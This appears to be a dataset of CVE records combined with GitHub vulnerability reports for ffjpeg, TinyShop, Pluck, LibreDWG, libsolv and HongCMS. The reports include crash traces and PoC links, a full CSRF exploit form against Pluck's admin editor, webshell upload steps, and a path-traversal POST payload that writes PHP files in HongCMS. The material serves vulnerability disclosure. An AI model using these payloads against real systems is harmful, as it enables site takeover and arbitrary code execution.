Lastly, we used GDB to debug this bug, the GDB outputs:
gdb-peda$ b * 0x4f2f09
Breakpoint 1 at 0x4f2f09
gdb-peda$ r
Starting program: /root/ffjpeg/src/ffjpeg -d hh
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x3
RBX: 0x7fffffffdd20 --> 0x4a6e81 (<__interceptor_free(void*)+193>: test r13d,r13d)
RCX: 0x602000000001 --> 0x102ffffff000000
RDX: 0xc0400000002 --> 0x0
RSI: 0xffffefcb501 --> 0x0
RDI: 0x602000000010 --> 0xbe
RBP: 0x7fffffffe3f0 --> 0x7fffffffe540 --> 0x501c10 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffda78 --> 0x4f2f0a (<jfif_decode+11050>: mov rax,QWORD PTR [rbx+0x88])
RIP: 0xffffffffcd4b4f00
R8 : 0x0
R9 : 0x0
R10: 0x7fffffffd1c0 --> 0x4a71a1 (<__interceptor_malloc(__sanitizer::uptr)+257>: test r13d,r13d)
R11: 0x2
R12: 0x7fffffffe420 --> 0xdd000000dc --> 0x0
R13: 0x80
R14: 0x10007fff7b50 --> 0xf1f1f1f1 --> 0x0
R15: 0x615000000080 --> 0xdd000000dc --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xffffffffcd4b4f00
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda78 --> 0x4f2f0a (<jfif_decode+11050>: mov rax,QWORD PTR [rbx+0x88])
0008| 0x7fffffffda80 --> 0x41b58ab3
0016| 0x7fffffffda88 --> 0x5155e8 ("6 32 128 4 ftab 192 16 2 dc 224 12 10 yuv_stride 256 12 10 yuv_height 288 24 10 yuv_datbuf 352 256 2 du")
0024| 0x7fffffffda90 --> 0x4f03e0 (<jfif_decode>: push rbp)
0032| 0x7fffffffda98 --> 0x3a (':')
0040| 0x7fffffffdaa0 --> 0x611000000180 --> 0x58c00000600 --> 0x0
0048| 0x7fffffffdaa8 --> 0x0
0056| 0x7fffffffdab0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffffffcd4b4f00 in ?? ()
We ensured there is a heap overflow because of the dangerous using of the int pointer array variable yuv_datbuf
This is the analysis of line 544, and the analysis of line 545 is similar, so we do not dump the detail analysis.
You can reproduce this heap overflow vulnerability by the follow step:
ffjpeg -d [PoC_heapoverflow_line544_ffjpeg](https://github.com/yangjiageng/PoC/blob/master/PoC_heapoverflow_line544_ffjpeg)
ffjpeg -d [PoC_heapoverflow_line545_ffjpeg](https://github.com/yangjiageng/PoC/blob/master/PoC_heapoverflow_line545_ffjpeg) | ffjpeg "jfif_decode" function heap-overflow vulnerabilities | https://api.github.com/repos/rockcarry/ffjpeg/issues/28/comments | 1 | 2020-07-02T11:43:44Z | 2020-07-27T08:24:56Z | https://github.com/rockcarry/ffjpeg/issues/28 | 649,865,490 | 28 | 1,966 |
CVE-2020-24026 | 2021-05-18T15:15:07.907 | TinyShop, a free and open source mall based on RageFrame2, has a stored XSS vulnerability that affects version 1.2.0. TinyShop allows XSS via the explain_first and again_explain parameters of the /evaluate/index.php page. The vulnerability may be exploited remotely, resulting in cross-site scripting (XSS) or information disclosure. | {
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"jianyan74",
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] | TinyShop, a free and open source mall based on RageFrame2, has a stored XSS vulnerability that affects version 1.2.0. TinyShop allows XSS via the explain_first and again_explain parameters of the /evaluate/index.php page.
Backend open source address: https://github.com/jianyan74/TinyShop
Front-end open source address: https://github.com/stavyan/TinyShop-UniApp
rageframe2: https://github.com/jianyan74/rageframe2
view images: POC
<img width="1535" alt="poc1" src="https://user-images.githubusercontent.com/68061473/87245927-373db080-c47c-11ea-9c94-e292d23f4963.png">
<img width="1535" alt="poc2" src="https://user-images.githubusercontent.com/68061473/87245935-3f95eb80-c47c-11ea-9c9f-44b05e5bbd41.png">
| XSS vulnerability in reply to product reviews | https://api.github.com/repos/jianyan74/TinyShop/issues/14/comments | 1 | 2020-07-12T12:16:11Z | 2020-07-12T12:44:46Z | https://github.com/jianyan74/TinyShop/issues/14 | 655,389,033 | 14 | 1,967 |
CVE-2020-20951 | 2021-05-18T16:15:07.463 | In Pluck-4.7.10-dev2 admin background, a remote command execution vulnerability exists when uploading files. | {
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"pluck-cms",
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] | This vulnerability applies to php5.2. X
After the installation is successful, go to the management background
Then upload shell.php, It will be changed to shell.php.txt
Then upload shell.php again
Shell.php has not been changed to shell.php.txt
then view shell.php
| Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when uploading files | https://api.github.com/repos/pluck-cms/pluck/issues/84/comments | 1 | 2019-10-21T11:36:30Z | 2019-11-01T18:59:31Z | https://github.com/pluck-cms/pluck/issues/84 | 509,905,689 | 84 | 1,968 |
CVE-2020-23861 | 2021-05-18T16:15:07.497 | A heap-based buffer overflow vulnerability exists in LibreDWG 0.10.1 via the read_system_page function at libredwg-0.10.1/src/decode_r2007.c:666:5, which causes a denial of service by submitting a dwg file. | {
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] | LibreDWG "read_system_page" function heap overflow vulnerability
Description:
There is a heap overflow bug in "read_system_page" function at libredwg-0.10.1/src/decode_r2007.c:666:5
An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a dwg file.
This bug is caused by the following dangerous memcpy calling in read_system_page function: line 666
if (size_comp < size_uncomp)
error = decompress_r2007 (data, size_uncomp, pedata, MIN (pedata_size, size_comp));
else
memcpy (data, pedata, size_uncomp);
free (pedata);
We used AddressSanitizer instrumented in LibreDWG and triggered this bug, the asan output as follows:
==2593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000031 at pc 0x0000004e7e12 bp 0x7ffd91a390c0 sp 0x7ffd91a38870
READ of size 96 at 0x602000000031 thread T0
#0 0x4e7e11 in __asan_memcpy /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_interceptors_memintrinsics.cc:23
#1 0x7f131338293e in read_system_page /root/libredwg-0.10.1/src/decode_r2007.c:666:5
#2 0x7f131336bc15 in read_pages_map /root/libredwg-0.10.1/src/decode_r2007.c:1014:10
#3 0x7f131336bc15 in read_r2007_meta_data /root/libredwg-0.10.1/src/decode_r2007.c:1814
#4 0x7f1312f9bc84 in decode_R2007 /root/libredwg-0.10.1/src/decode.c:3016:11
#5 0x7f1312f9bc84 in dwg_decode /root/libredwg-0.10.1/src/decode.c:241
#6 0x7f1312f7922f in dwg_read_file /root/libredwg-0.10.1/src/dwg.c:211:11
#7 0x52c287 in main /root/libredwg-0.10.1/programs/dwg2dxf.c:255:15
#8 0x7f1311da1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x41add9 in _start (/root/libredwg-0.10.1/programs/.libs/dwg2dxf+0x41add9)
0x602000000031 is located 0 bytes to the right of 1-byte region [0x602000000030,0x602000000031)
allocated by thread T0 here:
#0 0x4e93cf in calloc /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_malloc_linux.cc:155
#1 0x7f131337a0a6 in decode_rs /root/libredwg-0.10.1/src/decode_r2007.c:590:34
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_interceptors_memintrinsics.cc:23 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa 00 00 fa fa[01]fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2593==ABORTING
Then, we used GDB to debug this bug, the GDB outputs:
GDB
//----------------------------------registers-----------------------------------
RAX: 0x7ffff2c6a1e0 --> 0x7ffff6fed930 (<read_system_page+976>: dec DWORD PTR [rcx+rcx*4-0x1])
RBX: 0x7f
RCX: 0x0
RDX: 0x60 ('\`')\
RSI: 0x602000000070 --> 0x0
RDI: 0x608000000020 --> 0x0
RBP: 0x0
RSP: 0x7fffffffc410 --> 0xffffffff866 --> 0x0
RIP: 0x7ffff6fed93a (<read_system_page+986>: call 0x7ffff6be3460 <__asan_memcpy@plt>)
R8 : 0x1c2e6
R9 : 0x2
R10: 0x28 ('(')
R11: 0x602000000060 --> 0x2ffffff00000002
R12: 0x602000000070 --> 0x0
R13: 0x608000000080 --> 0x0
R14: 0x60 ('\`')
R15: 0x608000000020 --> 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
//-------------------------------------code-------------------------------------
0x7ffff6fed931 <read_system_page+977>: mov rdi,r15
0x7ffff6fed934 <read_system_page+980>: mov rsi,r12
0x7ffff6fed937 <read_system_page+983>: mov rdx,r14
=> 0x7ffff6fed93a <read_system_page+986>: call 0x7ffff6be3460 <__asan_memcpy@plt>
0x7ffff6fed93f <read_system_page+991>: mov rdi,r12
0x7ffff6fed942 <read_system_page+994>: call 0x7ffff6be25e0 <free@plt>
0x7ffff6fed947 <read_system_page+999>: jmp 0x7ffff6fed99a <read_system_page+1082>
0x7ffff6fed949 <read_system_page+1001>: lea rdi,[rip+0xd9a81c] # 0x7ffff7d8816c
Guessed arguments:
arg[0]: 0x608000000020 --> 0x0
arg[1]: 0x602000000070 --> 0x0
arg[2]: 0x60 ('\`')
//------------------------------------stack-------------------------------------
0000| 0x7fffffffc410 --> 0xffffffff866 --> 0x0
0008| 0x7fffffffc418 --> 0x7fffffffd098 --> 0x2f65f
0016| 0x7fffffffc420 --> 0x7fffffffd090 --> 0x7ffff7e18800 --> 0x313230314341 ('AC1021')
0024| 0x7fffffffc428 --> 0xffffffffa13 --> 0x0
0032| 0x7fffffffc430 --> 0x7f
0040| 0x7fffffffc438 --> 0x60 ('\`')
0048| 0x7fffffffc440 --> 0xffffffffffffff91
0056| 0x7fffffffc448 --> 0x7fffffffcc80 --> 0xf
//------------------------------------------------------------------------------
Legend: code, data, rodata, value
0x00007ffff6fed93a 666 memcpy (data, pedata, size_uncomp);
gdb-peda$
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000071 at pc 0x0000004e7e12 bp 0x7fffffffc400 sp 0x7fffffffbbb0
READ of size 96 at 0x602000000071 thread T0
[New process 3499]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 3499 is executing new program: /opt/llvm/bin/llvm-symbolizer
Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command.
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x52c283
We ensured there is a heap overflow vulnerability because of the dangerous using of memcpy function, attacker can use this bug to finish a DoS attack.
You can reproduce this heap overflow vulnerability by the follow step:
/dwg2dxf -m -b [PoC_libreDWG_heapoverflow_decode_r2007_line666](https://github.com/yangjiageng/PoC/blob/master/PoC_libreDWG_heapoverflow_decode_r2007_line666)
| LibreDWG "read_system_page" function heap overflow vulnerability | https://api.github.com/repos/LibreDWG/libredwg/issues/248/comments | 6 | 2020-07-18T12:19:50Z | 2020-07-21T13:02:44Z | https://github.com/LibreDWG/libredwg/issues/248 | 660,117,543 | 248 | 1,969 |
CVE-2020-24740 | 2021-05-18T16:15:07.527 | An issue was discovered in Pluck 4.7.10-dev2. There is a CSRF vulnerability that can editpage via a /admin.php?action=editpage | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"pluck-cms",
"pluck"
] | CSRF POC:
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/pluck/admin.php?action=editpage&page=111" method="POST">
<input type="hidden" name="title" value="evil" />
<input type="hidden" name="seo_name" value="111" />
<input type="hidden" name="content" value="evil" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="hidden" value="no" />
<input type="hidden" name="sub_page" value="" />
<input type="hidden" name="theme" value="oldstyle" />
<input type="hidden" name="save" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
| An issue was discovered in Pluck 4.7.10-dev2. There is a CSRF vulnerability that can editpage via a /admin.php?action=editpage | https://api.github.com/repos/pluck-cms/pluck/issues/81/comments | 5 | 2019-10-21T08:14:08Z | 2019-11-01T18:57:30Z | https://github.com/pluck-cms/pluck/issues/81 | 509,802,703 | 81 | 1,970 |
CVE-2021-3200 | 2021-05-18T17:15:07.297 | Buffer overflow vulnerability in libsolv 2020-12-13 via the Solver * testcase_read(Pool *pool, FILE *fp, const char *testcase, Queue *job, char **resultp, int *resultflagsp function at src/testcase.c: line 2334, which could cause a denial of service | {
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"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/openSUSE/libsolv/issues/416"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/yangjiageng/PoC/blob/master/libsolv-PoCs/PoC-testcase_read-2334"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/openSUSE/libsolv/issues/416"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
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],
"url": "https://github.com/yangjiageng/PoC/blob/master/libsolv-PoCs/PoC-testcase_read-2334"
},
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"tags": [
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"Third Party Advisory"
],
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
}
] | [
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"120"
] | 120 | https://github.com/openSUSE/libsolv/issues/416 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"openSUSE",
"libsolv"
] | Description:
There is a heap overflow bug in function:
Solver * testcase_read(Pool *pool, FILE *fp, const char *testcase, Queue *job, char **resultp, int *resultflagsp)
at src/testcase.c: line 2334
FOR_JOB_SELECT(p, pp, jobsel, what)
MAPCLR(pool->considered, p); // line 2334
The libsolv defines MAPCLR(m, n) as following:
#define MAPCLR(m, n) ((m)->map[(n) >> 3] &= ~(1 << ((n) & 7)))
, which means that MAPCLR(pool->considered, p) is same as pool->considered->map[p >> 3] &= ~(1 << (p & 7)).
The type of variable “pool->considered” is a Map structure.
The definition of the structure Map as following:
typedef struct s_Map {
unsigned char *map;
int size;
} Map;
If the value of the index variable “p>>3” is bigger than pool->considered->size, there will be a heap-buffer overflow bug.
Our PoC file can trigger this bug.
Please reproduce this issue through the following PoC: /libsolvBuildDir/tools/testsolv [PoC-testcase_read-2334](https://github.com/yangjiageng/PoC/blob/master/libsolv-PoCs/PoC-testcase_read-2334)
If you configure CC with flag -fsanitize=address, you will get the following outputs:
disable: unknown package 'A-3-1.noarch@available'
\===========================================================
\==24312==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000d1 at pc 0x7f474a02b45e bp 0x7ffffc997970 sp 0x7ffffc997968
READ of size 1 at 0x6020000000d1 thread T0
#0 0x7f474a02b45d in testcase_read /root/Experiments/real-world/libsolv/ext/testcase.c:2334:6
#1 0x4f144b in main /root/Experiments/real-world/libsolv/tools/testsolv.c:159:11
#2 0x7f473fa8abf6 in __libc_start_main /build/glibc-S7xCS9/glibc-2.27/csu/../csu/libc-start.c:310
#3 0x41e6f9 in _start (/root/Experiments/real-world/libsolv/build/tools/testsolv+0x41e6f9)
0x6020000000d1 is located 0 bytes to the right of 1-byte region [0x6020000000d0,0x6020000000d1)
allocated by thread T0 here:
#0 0x4abe48 in calloc /root/Downloads/llvm-build/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154
#1 0x7f4740be7f10 in solv_calloc /root/Experiments/real-world/libsolv/src/util.c:79:9
#2 0x7f4740a61dba in map_init /root/Experiments/real-world/libsolv/src/bitmap.c:24:22
#3 0x7f474a02804a in testcase_read /root/Experiments/real-world/libsolv/ext/testcase.c:2318:8
#4 0x4f144b in main /root/Experiments/real-world/libsolv/tools/testsolv.c:159:11
#5 0x7f473fa8abf6 in __libc_start_main /build/glibc-S7xCS9/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Experiments/real-world/libsolv/ext/testcase.c:2334:6 in testcase_read
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa fd fd fa fa 07 fa fa fa 00 00 fa fa 04 fa
=>0x0c047fff8010: fa fa 04 fa fa fa 00 00 fa fa[01]fa fa fa 00 02
0x0c047fff8020: fa fa 00 00 fa fa 04 fa fa fa 04 fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==24312==ABORTING
The ASAN outputs information about this overflow bug.
And attacker can use this bug to achieve a DoS attack.
Please reproduce and fix this bug.
| libsolv “testcase_read” function a heap overflow vulnerability | https://api.github.com/repos/openSUSE/libsolv/issues/416/comments | 4 | 2020-12-13T05:52:11Z | 2021-05-20T16:22:32Z | https://github.com/openSUSE/libsolv/issues/416 | 765,018,679 | 416 | 1,971 |
CVE-2020-18178 | 2021-05-18T19:15:07.660 | Path Traversal in HongCMS v4.0.0 allows remote attackers to view, edit, and delete arbitrary files via a crafted POST request to the component "/hcms/admin/index.php/language/ajax." | {
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{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
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"attackVector": "NETWORK",
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
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],
"url": "https://github.com/Neeke/HongCMS/issues/11"
},
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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"Exploit",
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],
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}
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"22"
] | 22 | https://github.com/Neeke/HongCMS/issues/11 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"Neeke",
"HongCMS"
] |
there is an arbitrary file read and rewrite in the backend of this cms via the link:
/hcms/admin/index.php/language/ajax
when post params : filename=..%2f..%2ftest.php&action=savelang&filecontent=%3C%3Fphp%0D%0A%0D%0Aecho+phpinfo()%3B%0D%0A%3F%3E
in the latest V4.0.0 edtion,
the cms try to use ajax to escape attacker to do same dangerous action like change file name etc
but it can also be catched by proxy
it will write your payload into any file which is writeable
we create new file test.php to check this vuln:
we can access to it via link as http://domain/your file name
| arbitrary file rewrite and read in Hongcms V4.0.0 | https://api.github.com/repos/Neeke/HongCMS/issues/11/comments | 0 | 2019-02-12T05:35:19Z | 2019-02-12T05:35:19Z | https://github.com/Neeke/HongCMS/issues/11 | 409,128,664 | 11 | 1,972 |
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